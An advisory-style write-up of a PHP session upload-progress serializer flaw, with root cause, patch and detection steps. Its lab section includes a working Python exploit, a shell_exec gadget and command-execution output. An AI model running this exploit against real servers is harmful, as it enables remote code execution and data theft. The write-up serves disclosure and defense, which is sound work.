PHP Session Upload Progress Serializer RCE (CVE-2026-115560)
PHP apps that switch the session serializer at runtime can decode upload-progress data as a serialized object and run code; fixed in 8.5.13 to 8.2.36.
TL;DR
- PHP's upload progress handler can write an attacker-controlled session key with one serializer and later read the record with another. CVE-2026-115560 turns that mismatch into object injection and code execution.
- Only deployments that set
session.serialize_handlertophp_serializeorphp_binaryin server configuration, switch it tophpat runtime, and keep upload progress enabled are exposed. PHP calls the combination unusual and the vector unlikely. - No exploitation in the wild is known, and CVE-2026-115560 is not in CISA KEV as of 2026-11-19. The PHP advisory (
GHSA-658j-r8rw-q6mx) and the published CVE-2026-115560 record rate the flaw CRITICAL with a CVSS v4.0 score of 9.2 (CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N). - Upgrade to PHP 8.5.13, 8.4.28, 8.3.37 or 8.2.36, released on 2026-11-19. Until you upgrade, set
session.upload_progress.enabled=0in startup configuration and stop changing the serializer at runtime.
Am I affected?
All of these must hold:
- The installation runs PHP and serves web requests through PHP-FPM, Apache mod_php, php-cgi, FrankenPHP or LiteSpeed.
- The startup or per-directory configuration sets
session.serialize_handlertophp_serializeorphp_binary. - A reachable endpoint calls
ini_set('session.serialize_handler', 'php')beforesession_start(). session.upload_progress.enabledandfile_uploadsare at their defaults, both on.
A code-execution chain also needs a class with a useful __wakeup(), __unserialize(), Serializable::unserialize() or __destruct() method that is loaded or autoloadable when session_start() runs. Without such a gadget the mismatch still builds an object, but the impact depends on what that object can do.
This analysis covers php-8.5.12. The fix shipped in the 2026-11-19 security release in PHP 8.5.13, 8.4.28, 8.3.37 and 8.2.36. Applications that never change the serializer at runtime and do not share a session store with another serializer are outside the documented path.
| Branch | Affected versions | Fixed version |
|---|---|---|
| PHP 8.5 | through 8.5.12 | 8.5.13 |
| PHP 8.4 | through 8.4.27 | 8.4.28 |
| PHP 8.3 | through 8.3.36 | 8.3.37 |
| PHP 8.2 | through 8.2.35 | 8.2.36 |
| PHP 8.1 and older | out of support by the PHP project | no PHP release; check the distribution or the vendor |
Check the runtime and the configuration on every host and inside every container that serves PHP:
php -v
php -i | grep -E 'session.serialize_handler|session.upload_progress.enabled|file_uploads'
php-fpm -i 2>/dev/null | grep -E 'session.serialize_handler|session.upload_progress.enabled'
grep -R "session.serialize_handler" /etc/php /etc/php-fpm.d /etc/apache2 2>/dev/null
grep -R --include='*.php' "session.serialize_handler" /var/www 2>/dev/null
docker exec <container> php -i | grep -E 'session.serialize_handler|session.upload_progress.enabled'
The grep over the application tree finds the runtime half of the condition. It returns nothing when the application never calls ini_set() for this setting, which is the common case and the reason the flaw is narrow.
How do I fix it?
Upgrade to the 2026-11-19 security release for your branch: PHP 8.5.13, 8.4.28, 8.3.37 or 8.2.36.
# Debian and Ubuntu, PHP 8.5 packages
sudo apt update
sudo apt install --only-upgrade php8.5-cli php8.5-fpm libapache2-mod-php8.5
# RHEL, Fedora and derivatives
sudo dnf upgrade 'php*'
# Alpine
sudo apk upgrade 'php*'
- Upgrade every package that carries the PHP runtime, including the CLI, FPM and the Apache module, then restart the service that serves requests.
- Rebuild and recreate containers from the fixed image. Pulling the image alone does not change a running container.
- Check the result with
php -vinside the running service and confirm it matches the fixed release. - If a distribution has not rebuilt its packages yet, use the workaround and watch the distribution's security tracker.
If you cannot upgrade immediately, remove the conditions the attack needs:
- Set
session.upload_progress.enabled=0inphp.ini, the FPM pool or the Apache configuration. Do not useini_set()or.user.inifor this setting, because they apply after request startup. - Restart every PHP worker so the setting takes effect.
- Stop calling
ini_set('session.serialize_handler', ...), and keep the startup value and the runtime value the same. - Confirm both settings with
php -ion the running service.
Disabling upload progress removes the write that carries the attacker's bytes. Keeping the serializer consistent removes the mismatch. Either one breaks the documented chain. Neither repairs the engine's assumption that the writer and the reader agree, so treat the workaround as temporary and upgrade.
What is the root cause?
PHP writes a session record with one serializer and reads it with another, and the stored record carries no tag that says which format was used.
PHP's session extension keeps the active serializer in a single global pointer, PS(serializer). It is set from INI at startup and can be replaced at runtime because session.serialize_handler is registered PHP_INI_ALL. The three built-in serializers do not share a format:
phpwrites the raw key, a pipe character, and the serialized value.php_serializewrites the whole session array as oneserialize()payload.php_binarywrites a one-byte key length, the raw key, and the serialized value.
The pipe is structural only to the php format. The php encoder knows that and refuses a key that contains one (ext/session/session.c:1099-1110):
PS_ENCODE_LOOP(
smart_str_append(&buf, key);
if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) {
PHP_VAR_SERIALIZE_DESTROY(var_hash);
smart_str_free(&buf);
fail = true;
php_error_docref(NULL, E_WARNING, "Failed to write session data. Data contains invalid key \"%s\"", ZSTR_VAL(key));
break;
}
smart_str_appendc(&buf, PS_DELIMITER);
php_var_serialize(&buf, struc, &var_hash);
);
The other two encoders do not check for the pipe, because while the serializer stays consistent the pipe has no meaning to their decoders. php_serialize serializes the entire array (session.c:979-990), and php_binary writes the raw key bytes after a length byte (session.c:1027-1046).
The upload progress handler runs before the script, during multipart parsing. When a request carries a field named PHP_SESSION_UPLOAD_PROGRESS, the handler appends the raw value to the session key (session.c:3265-3273):
} else if (zend_string_equals_cstr(PS(rfc1867_name), data->name, name_len)) {
smart_str_free(&progress->key);
smart_str_append(&progress->key, PS(rfc1867_prefix));
smart_str_appendl(&progress->key, *data->value, value_len);
smart_str_0(&progress->key);
progress->apply_trans_sid = APPLY_TRANS_SID;
php_session_rfc1867_early_find_sid(progress);
}
Rejecting the field through the SAPI input filter does not remove the value. In the failing branch, the multipart parser still calls the session callback with the unfiltered bytes (main/rfc1867.c:988-1002). The handler then writes the record with the startup serializer and flushes it. The flush closes the session store (session.c:582), which for the files handler releases the lock on sess_<id> while the upload body is still arriving.
The runtime switch is allowed because no session is active when the script starts. OnUpdateSerializer() rejects the change only while a session is active (session.c:640-666):
static PHP_INI_MH(OnUpdateSerializer)
{
const ps_serializer *tmp;
SESSION_CHECK_ACTIVE_STATE;
SESSION_CHECK_OUTPUT_STATE;
tmp = _php_find_ps_serializer(ZSTR_VAL(new_value));
...
PS(serializer) = tmp;
return SUCCESS;
}
With session.auto_start=0, the default, ini_set('session.serialize_handler', 'php') reaches that assignment. The next session_start() reads the stored record with the php decoder, which scans to the first pipe and passes everything after it to php_var_unserialize() (session.c:1136-1150):
while (p < endptr) {
q = p;
while (*q != PS_DELIMITER) {
if (++q >= endptr) {
retval = FAILURE;
goto break_outer_loop;
}
}
namelen = q - p;
name = zend_string_init(p, namelen, 0);
q++;
current = var_tmp_var(&var_hash);
if (php_var_unserialize(current, (const unsigned char **)&q, (const unsigned char *)endptr, &var_hash)) {
The earlier hardening for CVE-2026-109619 does not cover this path. It sets PS(in_rfc1867_update) while the upload handler decodes and re-encodes the session. php_session_unserialize_init() keeps objects as __PHP_Incomplete_Class only while that flag is set (session.c:958-977). The attacker's object is not unserialized during the upload write. It is unserialized later, inside the application's session_start(), where the flag is false.
How is it exploited?
An attacker who can reach an endpoint that performs the runtime switch can make the engine unserialize an object of their choosing. They control its properties, and the object is built before the endpoint's own code runs.
- The attacker obtains or chooses a session ID.
session.use_strict_modeis off by default, so PHP accepts an unissued ID; with strict mode on, the attacker can visit the application once and keep the ID it returns. - The attacker sends a
multipart/form-dataPOST carryingCookie: PHPSESSID=<id>, aPHP_SESSION_UPLOAD_PROGRESSfield, and a file part. The pipe followed by the serialized object can ride in either thePHP_SESSION_UPLOAD_PROGRESSfield value (stored in the session key) or the file part'sfilenameattribute (stored in thefiles[0]['name']field, as used by the local lab PoC). - During request startup, the upload handler adds the key to the session and writes the record with the startup serializer. That serializer writes the pipe verbatim.
- The attacker makes the record readable by the
phpdecoder. With the defaultsession.upload_progress.cleanup=1, the attacker holds the first upload open before its closing MIME boundary and sends a second request with the same cookie. Withsession.upload_progress.cleanup=0, the record survives the upload request on disk, so the decode can run in the same request when the upload targets the vulnerable endpoint, or in a later request with the same cookie, which is the flow the local lab demonstrates. - The endpoint calls
ini_set('session.serialize_handler', 'php')and thensession_start(). The decoder splits the record at the first pipe and hands the following bytes tophp_var_unserialize(). PHP_VAR_UNSERIALIZE_DESTROYcalls__wakeup()or__unserialize(), and a failed decode destroys the session and calls__destruct(). The gadget runs as the PHP worker.
How can I reproduce it in a local lab?
A minimal Docker lab running php:8.4.27-apache reproduces the serializer desynchronization end to end in an isolated test environment. The lab pairs session.serialize_handler = php_serialize in php.ini with an endpoint that switches the handler to php via ini_set() before calling session_start().
Four building blocks explain how the proof of concept turns the serializer mismatch into code execution:
- PHP Object Injection primitive: CVE-2026-115560 is not a C memory corruption bug; it is a deserialization (object injection) vulnerability inside PHP's session engine. When triggered, PHP takes an attacker-controlled string (
O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}) and passes it to PHP's internalunserialize()engine (php_var_unserialize()). - What
unserialize()does withO:6:"Gadget":...: The prefixO:6:"Gadget"instructs PHP to allocate a new instance of theGadgetclass without calling__construct(). The body:1:{s:3:"cmd";s:6:"whoami";}populates one property on that instance:$this->cmd = "whoami". - The
__wakeup()magic method hook:__wakeup()is a built-in PHP magic method. Whenever PHP finishes unserializing an object from anO:...payload, the engine checks whether the class defines__wakeup()and invokes$object->__wakeup()automatically insidePHP_VAR_UNSERIALIZE_DESTROY, beforesession_start()even returns. If a class has no magic methods (__wakeup(),__unserialize(), or__destruct()), unserializing it only creates a passive object in memory; when__wakeup()is present, PHP immediately executes that method using the property values ($this->cmd) injected by the attacker. - Why the lab uses a synthetic
Gadgetclass: In production PHP applications using frameworks or libraries such as Laravel, Symfony, Monolog, Guzzle, or WordPress plugins, dependencies invendor/already contain classes with__wakeup()or__destruct()methods that form Property-Oriented Programming (POP) gadget chains. Rather than installing an entire framework in the test container, the lab defines a 10-lineGadgetclass to represent an autoloaded class in the target application.
The following setup is for authorized local testing in an isolated container. In php-custom.ini, the startup serializer is set to php_serialize, upload progress is enabled, and session.upload_progress.cleanup is set to 0 so the progress record remains on disk between sequential requests:
session.serialize_handler = php_serialize
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 0
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.save_path = /tmp/php-sessions
session.save_handler = files
session.auto_start = 0
The target endpoint (index.php) defines the Gadget class with a __wakeup() hook, switches session.serialize_handler to php at runtime, and calls session_start(). Note that index.php never calls new Gadget() in its own code; the object is instantiated solely by session_start() decoding the poisoned session file:
<?php
class Gadget {
public string $cmd = 'echo "no command"';
public function __wakeup(): void {
echo "<pre>[__wakeup triggered] Running: " . htmlspecialchars($this->cmd) . "\n";
echo shell_exec($this->cmd);
echo "</pre>";
}
}
ini_set('session.serialize_handler', 'php');
session_start();
Two helper endpoints complete the lab container: upload.php receives the multipart POST without calling session_start() so the RFC 1867 callback writes the upload-progress record with the startup php_serialize handler, and check_session.php prints /tmp/php-sessions/sess_<id> without deserializing it:
<?php
// upload.php
header('Content-Type: text/plain');
echo "Upload received.\n";
echo "Session cookie: " . ($_COOKIE['PHPSESSID'] ?? 'none') . "\n";
$sid = $_COOKIE['PHPSESSID'] ?? '';
if ($sid !== '') {
$path = '/tmp/php-sessions/sess_' . basename($sid);
if (file_exists($path)) {
echo "\nRaw session file after upload:\n";
echo file_get_contents($path) . "\n";
} else {
echo "\nSession file not yet created: $path\n";
}
}
<?php
// check_session.php
header('Content-Type: text/plain');
$sid = $_GET['sid'] ?? '';
if ($sid === '') {
echo "Usage: ?sid=<session_id>\n";
exit;
}
$path = '/tmp/php-sessions/sess_' . basename($sid);
if (file_exists($path)) {
echo "=== Raw session file: $path ===\n\n";
echo file_get_contents($path);
} else {
echo "Session file not found: $path";
}
The proof-of-concept script below (exploit.py) establishes a session cookie, sends a raw multipart/form-data upload whose filename attribute starts with |O:6:"Gadget":1:{...} (with double quotes escaped as \" so main/rfc1867.c unescapes them into literal quotes without URL-encoding), and then requests index.php to trigger PS_SERIALIZER_DECODE_FUNC(php):
"""
CVE-2026-115560 — PHP Session Serializer Desync via Upload Progress
Proof of Concept exploit for the session format desynchronization vulnerability.
Attack flow:
1. POST multipart upload to upload.php with PHP_SESSION_UPLOAD_PROGRESS and a
crafted filename containing |O:6:"Gadget":1:{s:3:"cmd";s:<len>:"<command>";}
→ php_session_rfc1867_callback writes upload progress to session file
using php_serialize (from php.ini) — no | escaping.
2. GET index.php with the same session cookie.
→ ini_set('session.serialize_handler', 'php') + session_start()
→ 'php' decoder splits on |, deserializes the injected Gadget object
→ __wakeup() fires → shell_exec()
Note: We craft the raw multipart body to avoid URL-encoding of quotes in the
filename, which the Python requests library does by default.
Requirements:
- session.serialize_handler = php_serialize (in php.ini)
- session.upload_progress.enabled = 1 (default)
- App does ini_set('session.serialize_handler', 'php') before session_start()
Usage:
python3 exploit.py [target_url] [command]
Defaults: target_url=http://localhost:8084 command=id
"""
import argparse
import requests
BOUNDARY = "----ExploitBoundary7d93e2a1"
def build_serialized_object(command: str) -> str:
return f'O:6:"Gadget":1:{{s:3:"cmd";s:{len(command)}:"{command}";}}'
def build_multipart_body(payload_filename: str, file_content: bytes) -> bytes:
"""Build raw multipart/form-data body with unescaped filename."""
parts = []
# Part 1: PHP_SESSION_UPLOAD_PROGRESS field (triggers session init)
parts.append(
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
f"\r\n"
f"pwned\r\n"
)
# Part 2: File upload with crafted filename
# The filename contains the pipe + serialized object.
# We must escape " as \" inside the Content-Disposition header's filename="..."
# value, because unescaped " would close the attribute prematurely.
# PHP's rfc1867.c multipart parser correctly unescapes \" back to literal ".
escaped_filename = payload_filename.replace("\\", "\\\\").replace('"', '\\"')
parts.append(
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="file"; filename="{escaped_filename}"\r\n'
f"Content-Type: application/octet-stream\r\n"
f"\r\n"
)
body = "".join(parts).encode("latin-1")
body += file_content
body += f"\r\n--{BOUNDARY}--\r\n".encode("latin-1")
return body
def exploit(target: str, command: str) -> None:
session = requests.Session()
base = target.rstrip("/")
serialized_obj = build_serialized_object(command)
payload_filename = f"|{serialized_obj}"
print(f"[*] Target: {base}")
print(f"[*] Command: {command}")
print(f"[*] Serialized object: {serialized_obj}")
print(f"[*] Payload filename: {payload_filename}")
print()
# Step 0: Establish a session to get a PHPSESSID cookie
print("[0] Establishing session...")
session.get(f"{base}/index.php")
sid = session.cookies.get("PHPSESSID", "")
print(f" Session ID: {sid}")
print()
# Step 1: POST multipart upload to upload.php
# Craft raw body to preserve literal " in filename
print("[1] Sending multipart upload with crafted filename to /upload.php...")
file_content = b"A" * 65536
raw_body = build_multipart_body(payload_filename, file_content)
resp1 = session.post(
f"{base}/upload.php",
data=raw_body,
headers={"Content-Type": f"multipart/form-data; boundary={BOUNDARY}"},
)
print(f" HTTP {resp1.status_code}")
print(f" Response:")
for line in resp1.text.strip().split("\n"):
print(f" {line}")
print()
# Step 1.5: Verify payload in raw session file
print("[1.5] Checking raw session file...")
resp_check = session.get(f"{base}/check_session.php?sid={sid}")
for line in resp_check.text.strip().split("\n"):
print(f" {line}")
print()
# Step 2: GET index.php to trigger deserialization
# index.php does: ini_set('session.serialize_handler', 'php'); session_start();
# The 'php' decoder reads the php_serialize data, finds | in the filename,
# and passes the payload to php_var_unserialize() → __wakeup() → RCE
print("[2] Triggering deserialization via GET /index.php ...")
resp2 = session.get(f"{base}/index.php")
print(f" HTTP {resp2.status_code}")
print()
if "__wakeup triggered" in resp2.text:
print("[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.")
start = resp2.text.find("[__wakeup triggered]")
end = resp2.text.find("</pre>", start)
if start >= 0 and end >= 0:
print()
print(resp2.text[start:end])
else:
print("[-] Gadget did not fire on this attempt.")
print()
# Show PHP warnings if any
for line in resp2.text.split("\n"):
stripped = line.strip()
if "Warning" in stripped or "Notice" in stripped or "Fatal" in stripped:
print(f" PHP: {stripped[:200]}")
print()
print(f" Debug: {base}/check_session.php?sid={sid}")
print()
print("[*] Done.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-115560 PoC")
parser.add_argument("target", nargs="?", default="http://localhost:8084",
help="Target URL (default: http://localhost:8084)")
parser.add_argument("command", nargs="?", default="id",
help="Command to execute (default: id)")
args = parser.parse_args()
exploit(target=args.target, command=args.command)
Running exploit.py against the php:8.4.27-apache container writes the unescaped pipe and serialized Gadget payload into /tmp/php-sessions/sess_<id> during the upload step, and triggers Gadget::__wakeup() on the subsequent GET /index.php request:
$ python3 exploit.py http://localhost:8084 whoami
[*] Target: http://localhost:8084
[*] Command: whoami
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}
[0] Establishing session...
Session ID: ddda797e6af8bdba6401bab8062dbd3d
[1] Sending multipart upload with crafted filename to /upload.php...
HTTP 200
Response:
Upload received.
Session cookie: ddda797e6af8bdba6401bab8062dbd3d
Raw session file after upload:
a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096805;s:14:"content_length";i:65857;s:15:"bytes_processed";i:65857;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:41:"|O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}";s:8:"tmp_name";s:27:"/tmp/phpt586jhskkueq0oOkcCT";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096805;s:15:"bytes_processed";i:65536;}}}}
[1.5] Checking raw session file...
=== Raw session file: /tmp/php-sessions/sess_ddda797e6af8bdba6401bab8062dbd3d ===
a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096805;s:14:"content_length";i:65857;s:15:"bytes_processed";i:65857;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:41:"|O:6:"Gadget":1:{s:3:"cmd";s:6:"whoami";}";s:8:"tmp_name";s:27:"/tmp/phpt586jhskkueq0oOkcCT";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096805;s:15:"bytes_processed";i:65536;}}}}
[2] Triggering deserialization via GET /index.php ...
HTTP 200
[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.
[__wakeup triggered] Running: whoami
www-data
[*] Done.
$ python3 exploit.py http://localhost:8084 "ls /"
[*] Target: http://localhost:8084
[*] Command: ls /
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}
[0] Establishing session...
Session ID: 2ffd23b0781b8886a49a001d723272b3
[1] Sending multipart upload with crafted filename to /upload.php...
HTTP 200
Response:
Upload received.
Session cookie: 2ffd23b0781b8886a49a001d723272b3
Raw session file after upload:
a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096810;s:14:"content_length";i:65855;s:15:"bytes_processed";i:65855;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:39:"|O:6:"Gadget":1:{s:3:"cmd";s:4:"ls /";}";s:8:"tmp_name";s:27:"/tmp/phpm0druteh4qg69SLzfU8";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096810;s:15:"bytes_processed";i:65536;}}}}
[2] Triggering deserialization via GET /index.php ...
HTTP 200
[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.
[__wakeup triggered] Running: ls /
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
[*] Done.
$ python3 exploit.py http://localhost:8084 "id"
[*] Target: http://localhost:8084
[*] Command: id
[*] Serialized object: O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}
[*] Payload filename: |O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}
[0] Establishing session...
Session ID: 98c162d7ecf462372c94193f5e5cdba1
[1] Sending multipart upload with crafted filename to /upload.php...
HTTP 200
Response:
Upload received.
Session cookie: 98c162d7ecf462372c94193f5e5cdba1
Raw session file after upload:
a:1:{s:21:"upload_progress_pwned";a:5:{s:10:"start_time";i:1795096814;s:14:"content_length";i:65853;s:15:"bytes_processed";i:65853;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:37:"|O:6:"Gadget":1:{s:3:"cmd";s:2:"id";}";s:8:"tmp_name";s:27:"/tmp/php15e46dl4mmkv1qCw7Y3";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1795096814;s:15:"bytes_processed";i:65536;}}}}
[2] Triggering deserialization via GET /index.php ...
HTTP 200
[+] EXPLOITED — __wakeup() was triggered! RCE confirmed.
[__wakeup triggered] Running: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Done.
How does the attack flow?
The attacker's bytes travel through a write made before the script runs and a read made by a different serializer inside the script.
with PHP_SESSION_UPLOAD_PROGRESS"] --> B["Upload handler runs
before the script"] B --> C["Session key holds
attacker bytes with a pipe"] C --> D["Startup serializer writes
the record, pipe unescaped"] D --> E["Second request reaches
ini_set then session_start"] E --> F["php decoder splits
at the first pipe"] F --> G["php_var_unserialize
builds the object"] G --> H["Magic method runs
code as the worker"]
The step that makes the chain possible is the write in the startup serializer, because it stores a pipe that the later decoder treats as structure.
What can an attacker do?
When the configuration conditions hold and the application has a usable gadget, an unauthenticated attacker can run code with the privileges of the PHP worker that serves the request.
- The attacker can read environment variables, application configuration and credentials the worker can reach.
- The attacker can read and modify the application's database through the application's own connection.
- The attacker can write files the worker can write, including session files and template caches.
- The attacker can use the host as a starting point for further access, depending on how it is segmented.
The conditions are the same ones that make the flaw reachable. The startup serializer must be php_serialize or php_binary. The endpoint must switch to php before session_start(). Upload progress must be enabled. The gadget class must be loadable. PHP describes the configuration as unusual and the vector as unlikely, and says applications that never change the serializer at runtime are not affected.
The public record does not demonstrate an end-to-end compromise. The impact described here is the impact of the primitive, not a report of a victim.
Why does the fix work?
The fix in PHP 8.5.13, 8.4.28, 8.3.37 and 8.2.36 (advisory GHSA-658j-r8rw-q6mx, commit 522afb690f) closes the runtime serializer desynchronization in ext/session/session.c through two engine changes and one operational requirement.
The patch enforces three layers of defense:
- Change the default of
session.upload_progress.enabledfrom"1"to"0"inPHP_INI_BEGIN(), so upload-progress session writes are off unless an administrator explicitly enables them. - Enforce
SESSION_CHECK_UPLOAD_PROGRESS_STATEinsideOnUpdateSerializer()and the other session INI update handlers, throwing an error (Session ini settings cannot be changed at runtime when session.upload_progress.enabled is On) whenever a script attempts to changesession.serialize_handlerat runtime while upload progress is enabled. - Require deployments that explicitly enable
session.upload_progress.enabledto use the samesession.serialize_handleracross all FPM pools, virtual hosts, and CLI processes that share a session storage directory.
Together, disabling upload progress by default and blocking ini_set('session.serialize_handler', ...) when upload progress is on prevent a single application from writing an upload-progress record with one serializer and decoding it at runtime with another.
How do I check if I was compromised?
No indicators of compromise are published for CVE-2026-115560, and an attempt that failed to build a usable object may leave no distinctive trace.
If an exposed configuration was reachable from the internet, preserve the web server, reverse proxy and PHP logs that cover the period. Review them for multipart requests carrying PHP_SESSION_UPLOAD_PROGRESS and for session IDs that the application did not issue.
Check the session storage for records that contain a pipe followed by a serialized object. Treat a hit as a lead, not as proof: a legitimate progress record also contains the field name, and a failed decode may have removed the record already.
Review the PHP error log for decode warnings around the same requests. A decode failure can destroy the session and leave a warning. If you find signs of execution, preserve a host image and rotate the credentials the worker could reach.
Timeline
- 2026-10-21: PHP releases 8.5.12, 8.4.27, 8.3.36 and 8.2.35 for CVE-2026-109618 and CVE-2026-109619, the pair known as PHP2Shell. The CVE-2026-109619 advisory already recommends
session.upload_progress.enabled=0as a mitigation. - 2026-10-23: PHP publishes an informational advisory for CVE-2026-115560, describes the configuration combination, and recommends keeping upload progress disabled until the next regular release.
- 2026-11-18: PHP pre-announces the regular security release for 2026-11-19 between 14:00 and 14:30 UTC, with the highest severity CRITICAL and details published with the release.
- 2026-11-19: PHP releases 8.5.13, 8.4.28, 8.3.37 and 8.2.36 and publishes advisory GHSA-658j-r8rw-q6mx for CVE-2026-115560.
FAQ
Is it exploitable without authentication?
Yes, when the four configuration conditions hold. The attacker needs no account and no administrative access. The attacker does need a session ID and a reachable endpoint that changes the serializer at runtime.
Why does the default configuration not trigger it?
The default serializer is php for both writing and reading, so the encoder and the decoder agree on the pipe. The flaw needs a startup serializer that writes the pipe unescaped and a runtime decoder that treats it as structure.
Is there a public exploit?
The serializer mismatch is reproducible end to end against php:8.4.27-apache when a loadable gadget class is present, as demonstrated in the How can I reproduce it in a local lab? section.
Is it in CISA KEV or exploited in the wild?
No. CVE-2026-115560 is not in CISA KEV as of 2026-11-19, and no exploitation is reported. The two related PHP flaws, CVE-2026-109618 and CVE-2026-109619, were added to KEV on 2026-10-26; they are different bugs.
Does disabling upload progress fix it?
It removes the write that carries the attacker's bytes, so it breaks the documented chain. It does not change the engine's assumption that the writer and the reader use the same serializer. Upgrade to the fixed release as well.
Which versions are fixed?
PHP 8.5.13, 8.4.28, 8.3.37 and 8.2.36 fix CVE-2026-115560 in the 2026-11-19 security release. Check your distribution's backport if you run an end-of-life branch.
References
- PHP, "Informational advisory: Session upload progress", 2026-10-23: https://www.php.net/archive/2026.php#2026-10-23-1 (checked November 19, 2026)
- PHP, "Upcoming Critical PHP Security Release", 2026-11-18: https://www.php.net/archive/2026.php#2026-11-18-1 (checked November 19, 2026)
- PHP, "Security advisory: Critical remote code execution vulnerabilities, update now", 2026-10-21: https://www.php.net/archive/2026.php#2026-10-21-5 (checked November 19, 2026)
- PHP source at tag
php-8.5.12,ext/session/session.c: https://github.com/php/php-src/blob/php-8.5.12/ext/session/session.c (checked November 19, 2026) - PHP source at tag
php-8.5.12,main/rfc1867.c: https://github.com/php/php-src/blob/php-8.5.12/main/rfc1867.c (checked November 19, 2026) - PHP source at tag
php-8.5.12,ext/standard/var_unserializer.re: https://github.com/php/php-src/blob/php-8.5.12/ext/standard/var_unserializer.re (checked November 19, 2026) - GHSA-6wmf-4rv5-p3rp, "RCE via stale global state", the 2026-10-21 advisory that recommends disabling upload progress: https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp (checked November 19, 2026)
- GHSA-658j-r8rw-q6mx / CVE-2026-115560, "Session serializer mismatch can lead to remote code execution" (CVSS v4.0 9.2 CRITICAL), published 2026-11-19: https://github.com/php/php-src/security/advisories/GHSA-658j-r8rw-q6mx and https://www.cve.org/CVERecord?id=CVE-2026-115560 (checked November 19, 2026)
- CISA Known Exploited Vulnerabilities catalog, catalog version 2026.11.18, CVE-2026-115560 absent: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (checked November 19, 2026)